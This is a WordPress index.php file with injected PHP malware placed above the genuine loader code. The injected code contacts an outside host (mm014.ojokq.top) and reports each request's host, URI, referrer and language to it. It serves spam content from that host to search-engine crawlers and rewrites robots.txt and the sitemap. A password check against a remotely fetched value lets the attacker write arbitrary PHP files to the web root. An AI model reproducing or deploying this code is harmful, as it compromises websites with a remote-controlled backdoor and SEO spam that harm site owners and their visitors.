<?php 
@set_time_limit(5000); 
@ignore_user_abort(1);  
$goto = 'mm014'; 
$htwe = 'http'; 
if(ishtt()){ 
	$http = 'https'; 
}else{
	$http = 'http';
}
$ddur_tmp = st_uri();
if ($ddur_tmp == ''){
	$ddur_tmp = '/'; 
}
$ddur = urlencode($ddur_tmp);
function st_uri(){
	if (isset($_SERVER['REQUEST_URI'])){
		$ddur = $_SERVER['REQUEST_URI'];
	}else{
		if(isset($_SERVER['argv'])){
			$ddur = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
		}else{  
			$ddur = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
		}
	}
	return $ddur;
}
$towe = $goto .'.ojokq'.'.top';
function ishtt(){
	if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'){ 
		return true; 
	}elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'){ 
		return true; 
	}elseif( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { 
		return true; 
	} 
		return false;
}
$host = $_SERVER['HTTP_HOST'];
$lag = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$lag = urlencode($lag);
$usse = '';
if (isset($_SERVER['HTTP_REFERER'])) { 
	$usse = $_SERVER['HTTP_REFERER']; 
	$usse = urlencode($usse);
}
if (@$_GET['pd'] != '') { 
	$acot = @$_GET['mapname'];    
	if (isset($_SERVER['DOCUMENT_ROOT'])){ 
		$path = $_SERVER['DOCUMENT_ROOT']; 
	}else{ 
		$path = dirname(__FILE__); 
	} 
	if (strstr($acot,'sitemap')) { 
			$map_path = $path. '/sitemap.xml';   
			$file_path = $path . '/robots.txt';  
			@unlink($map_path);
			$robots = @file_get_contents($file_path);
			$data = 'User-agent: *'."\r\n".'Allow: /'; 
			$sturs = "\r\n" . 'Sitemap: '.$http . '://' . $host . '/'.$acot.'.xml';  
			$futrobot = "";
			if(strstr($robots,"/map.xml")){
				if(strstr($robots,"/".$acot.".xml")){
					echo "sitemap in added!";
					exit();
				}else{
					$robots .= $sturs; 
				}
			}else{
				@unlink($file_path);
				$sturs .= "\r\n" . 'Sitemap: '.$http . '://' . $host . '/map.xml';
				$robots = $data.$sturs;
			}
			if (file_put_contents($file_path, trim($robots))) {
					echo '<br>ok<br>';  
				}else{
					echo '<br>false!<br>';  
				} 
		}else if (strstr($acot,'.p'.'hp')) {
			if (sha1(sha1(@$_GET['a'])) == daag($htwe . '://' . $towe . '/a.p' . 'hp')) {  
				$dstr = @$_GET['dstr'];  
				if (file_put_contents($path.'/'.$acot, $dstr)){
					echo 'ok';
				}
			}
		}else{
			echo '<br> false!<br>'; 
		}
		
	exit;
}
$web = $htwe . '://' . $towe . '/inde.php?web=' . $host . '&zz=' . sbot() . '&uri=' . $ddur . '&urlshang=' . $usse . '&http=' . $http . '&lang=' . $lag;       
$htag = trim(daag($web));
if (!strstr($htag, 'nobotuseragent')) { 
	if (strstr($htag, 'okhtmlgetcontent')) {  
		@header('Content-type: text/html; charset=utf-8'); 
		$htag = str_replace('okhtmlgetcontent', '', $htag); 
		echo $htag; 
		exit(); 
	}else if(strstr($htag, 'okxmlgetcontent')){ 
		$htag = str_replace('okxmlgetcontent', '', $htag); 
		@header('Content-type: text/xml'); 
		echo $htag; 
		exit();
	}
}

function sbot(){ 
	$uaget = strtolower($_SERVER['HTTP_USER_AGENT']); 
	if (stristr($uaget, 'googlebot') || stristr($uaget, 'bing') || stristr($uaget, 'yahoo') || stristr($uaget, 'google') || stristr($uaget, 'Googlebot') || stristr($uaget, 'googlebot')) { 
		return true; 
	} else { 
		return false; 
	}
}

function daag($url){ 
	$ficonts= ''; 
	if(function_exists('curl_init')){
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); 
		$ficonts = curl_exec($ch); curl_close($ch); 
	}
	if (!$ficonts){
		$ficonts = @file_get_contents($url);
	}
	return $ficonts;
}
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );?>